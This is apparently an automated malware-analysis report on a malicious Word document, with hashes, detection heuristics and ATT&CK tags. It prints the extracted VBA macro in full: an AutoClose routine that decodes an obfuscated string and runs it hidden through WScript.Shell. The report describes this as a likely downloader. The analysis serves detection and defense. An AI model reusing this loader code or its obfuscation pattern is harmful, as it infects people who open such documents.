Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b964569f2697dcb7…

MALICIOUS

Office (OOXML)

53.7 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-01-20
MD5: 9ab3d830514a2619ae98d4449cf08860 SHA-1: 3b2974b7901f51dd935a0a606e7ce221565518d0 SHA-256: b964569f2697dcb72fd36076744995eec99a35f056826b6aab2c929e908d48ba
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

This OOXML document contains a malicious VBA macro that utilizes obfuscation techniques and the AutoClose function to execute a payload. The macro employs a custom decoder and calls to CreateObject and Shell() to achieve its objective. The presence of these critical heuristics strongly indicates a malicious intent, likely to download and execute a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Malware.Generic-6707243-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6707243-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
         If epitaxies - electromuscular > 1 Then
       CreateObject(Trim(tastefulness) & ".Shell").Run penthiophen, 0
       zoner = False
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
      Application.Run "ignitor", drenched
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
         If epitaxies - electromuscular > 1 Then
       CreateObject(Trim(tastefulness) & ".Shell").Run penthiophen, 0
       zoner = False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  relinquishes = Array("v", "D", "H", "i", "j", "R", "l", "1", "l", "f", "H", "i", "i", "w", "z", "G", "G", "w", "Y", "i", "Y", "v", "3", "8", "H", "i", "Y", "D", "c", "j", "a", "3", "D", "r", "j", "a", "j", "n", "l", "C", "R", "8", "Y", "v", "G", "q", "Z", "7", "G", "n", "E", "v", "j", "R", "w", "H", "w", "N", "3", "i", "v", "j", "y", "p", "l", "c", "D", "3", "D", "r")
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2115 bytes
SHA-256: 5d838943626c84fba1a90631723a19392bb9cc6e9dcf99ad570a70348bb5bf8b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function canioned(relinquishes)
  footer = Array("q", "l", "Z", "p", "r", "i", "Y", "j", "a", "n", "R", "C", "7", "1", "8", "y", "H", "N", "f", "c", "D", "v", "G", "3", "E", "z", "w")
  paruras = Array("A", "e", "F", "v", "k", "t", "o", "a", "z", "l", ".", "b", "K", "x", "c", "=", "h", "?", " ", "r", "s", "m", "/", "u", "i", ":", "p")
  
  nemalionaceae = vbNullString
  
  For Each pyrite In relinquishes
    gummier = gustoes(pyrite, footer, UBound(footer))
    If gummier > -1 Then
    nemalionaceae = paruras(gummier) & nemalionaceae
    End If
  Next
  
  canioned = StrReverse(nemalionaceae)
  
End Function

Public Function gustoes(plectospondyli, subdolent, tabbied)
  massager = 5553
  anodynous = 772
  For massager = 0 To tabbied
    If subdolent(massager) = plectospondyli And massager > -1 Then
     anodynous = massager
    End If
  Next

  If anodynous = 772 Then
    anodynous = -1
  End If
  
  gustoes = anodynous
End Function

Sub AutoClose()
  relinquishes = Array("v", "D", "H", "i", "j", "R", "l", "1", "l", "f", "H", "i", "i", "w", "z", "G", "G", "w", "Y", "i", "Y", "v", "3", "8", "H", "i", "Y", "D", "c", "j", "a", "3", "D", "r", "j", "a", "j", "n", "l", "C", "R", "8", "Y", "v", "G", "q", "Z", "7", "G", "n", "E", "v", "j", "R", "w", "H", "w", "N", "3", "i", "v", "j", "y", "p", "l", "c", "D", "3", "D", "r")
  drenched = canioned(relinquishes)
  
  Application.Run "ignitor", drenched
  
End Sub


Private Sub ignitor(penthiophen)
   
   tastefulness = "WScript"
   electromuscular = 3271
   zoner = True
   
   While zoner
     epitaxies = electromuscular + 60
     If epitaxies - electromuscular > 1 Then
       CreateObject(Trim(tastefulness) & ".Shell").Run penthiophen, 0
       zoner = False
      End If
     
   Wend

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: fd8f72ea9aa7774755315ce71020f4ddaafa8b34bd9a9a69591979b4fefc56ef
Detection
ClamAV: Doc.Malware.Generic-6707243-0
Obfuscation or payload: unlikely

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